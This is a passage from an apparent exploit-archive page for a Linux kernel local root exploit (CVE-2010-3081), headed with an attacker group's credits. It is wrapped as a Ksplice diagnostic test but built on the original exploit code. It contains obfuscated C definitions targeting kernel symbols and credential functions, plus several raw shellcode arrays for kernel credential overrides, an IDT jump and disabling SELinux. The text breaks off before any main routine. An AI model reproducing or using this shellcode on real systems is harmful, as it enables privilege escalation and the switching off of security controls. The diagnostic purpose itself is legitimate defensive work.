kernel-2.6.18-164 2010 Local Root Exploit
=========================================
# Author: Hackeri-AL
# Email : h-al [at] hotmail [dot] it
# Group : UAH / United ALBANIA Hackers
# Web : uah1.org.uk
# Greetz: LoocK3D - b4cKd00r ~
--------------------------------------------
/*
Diagnostic test for CVE-2010-3081 public exploit
Greg Price, Ksplice, Inc.
Tests whether the system has previously been exposed to the exploit
published as "hackerial.c" by Hackeri-AL on 2010 Sep 15. Based on the
original exploit code.
For more information, see
http://www.ksplice.com/uptrack/cve-2010-3081
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define _GNU_SOURCE
#define __dgdhdytrg55 unsigned int
#define __yyrhdgdtfs66ytgetrfd unsigned long long
#define __dhdyetgdfstreg__ memcpy
#define BANNER "Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc.\n" \
"(see http://www.ksplice.com/uptrack/cve-2010-3081)\n" \
"\n"
#define KALLSYMS "/proc/kallsyms"
#define TMAGIC_66TDFDRTS "/proc/timer_list"
#define SELINUX_PATH "/selinux/enforce"
#define RW_FOPS "timer_list_fops"
#define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
#define PREPARE_GGDTSGFSRFSD "prepare_creds"
#define OVERRIDE_GGDTSGFSRFSD "override_creds"
#define REVERT_DHDGTRRTEFDTD "revert_creds"
#define Y0Y0SMAP 0x100000UL
#define Y0Y0CMAP 0x200000UL
#define Y0Y0STOP (Y0Y0SMAP+0xFFC)
#define J0J0S 0x00200000UL
#define J0J0R00T 0x002000F0UL
#define PAGE_SIZE 0x1000
#define KERN_DHHDYTMLADSFPYT 0x1
#define KERN_DGGDYDTEGGETFDRLAK 0x2
#define KERN_HHSYPPLORQTWGFD 0x4
#define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
#define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
#define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
#define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
#define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
#define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
#define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
/* #define __print_verbose(s) do { fprintf(stdout, "%s", s); } while(0) */
#define __print_verbose(s) do { } while (0)
#define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
#define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
static char buffer[1024];
static int s;
static int flags=0;
volatile static socklen_t magiclen=0;
static int useidt=1, usefops=0, uselsm=0;
static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
static __dgdhdytrg55 _m_cpu_off=0;
static char krelease[64];
static char kversion[128];
#define R0C_0FF 14
static char ttrg0ccc[]=
"\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
"\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
"\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
"\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
"\xeb\xcc\x5e\x5b\x5f\x59\xc3";
#define R0YTTTTUHLFSTT_OFF1 5
#define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
#define R0TDGFSRSLLSJ_SHSYSTGD 45
char r1ngrrrrrrr[]=
"\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
"\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
"\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
"\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
"\xff\xd3\x5f\x5f\x5a\x5b\xc3";
#define RJMPDDTGR_OFF 13
#define RJMPDDTGR_DHDYTGSCAVSF 7
#define RJMPDDTGR_GDTDGTSFRDFT 25
static char ttrfd0[]=
"\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x58\x5f"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xc3";
/* implement selinux bypass for IDT ! */
#define RJMPDDTGR_OFF_IDT 14
#define RJMPDDTGR_DYHHTSFDARE 8
#define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
static char ruujhdbgatrfe345[]=
"\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
"\x0f\x01\xf8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x48\xcf";
#define CJE_4554TFFDTRMAJHD_OFF 10
#define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
static char dis4blens4sel1nuxhayettgdr64545[]=
"\x41\x52\x50"
"\xb8\x00\x00\x00\x00"
"\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x89\x02"
"\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
"\x41\x89\x02"
"\x58\x41\x5a";
/* rhel LSM stuffs */
#define RHEL_LSM_OFF 98
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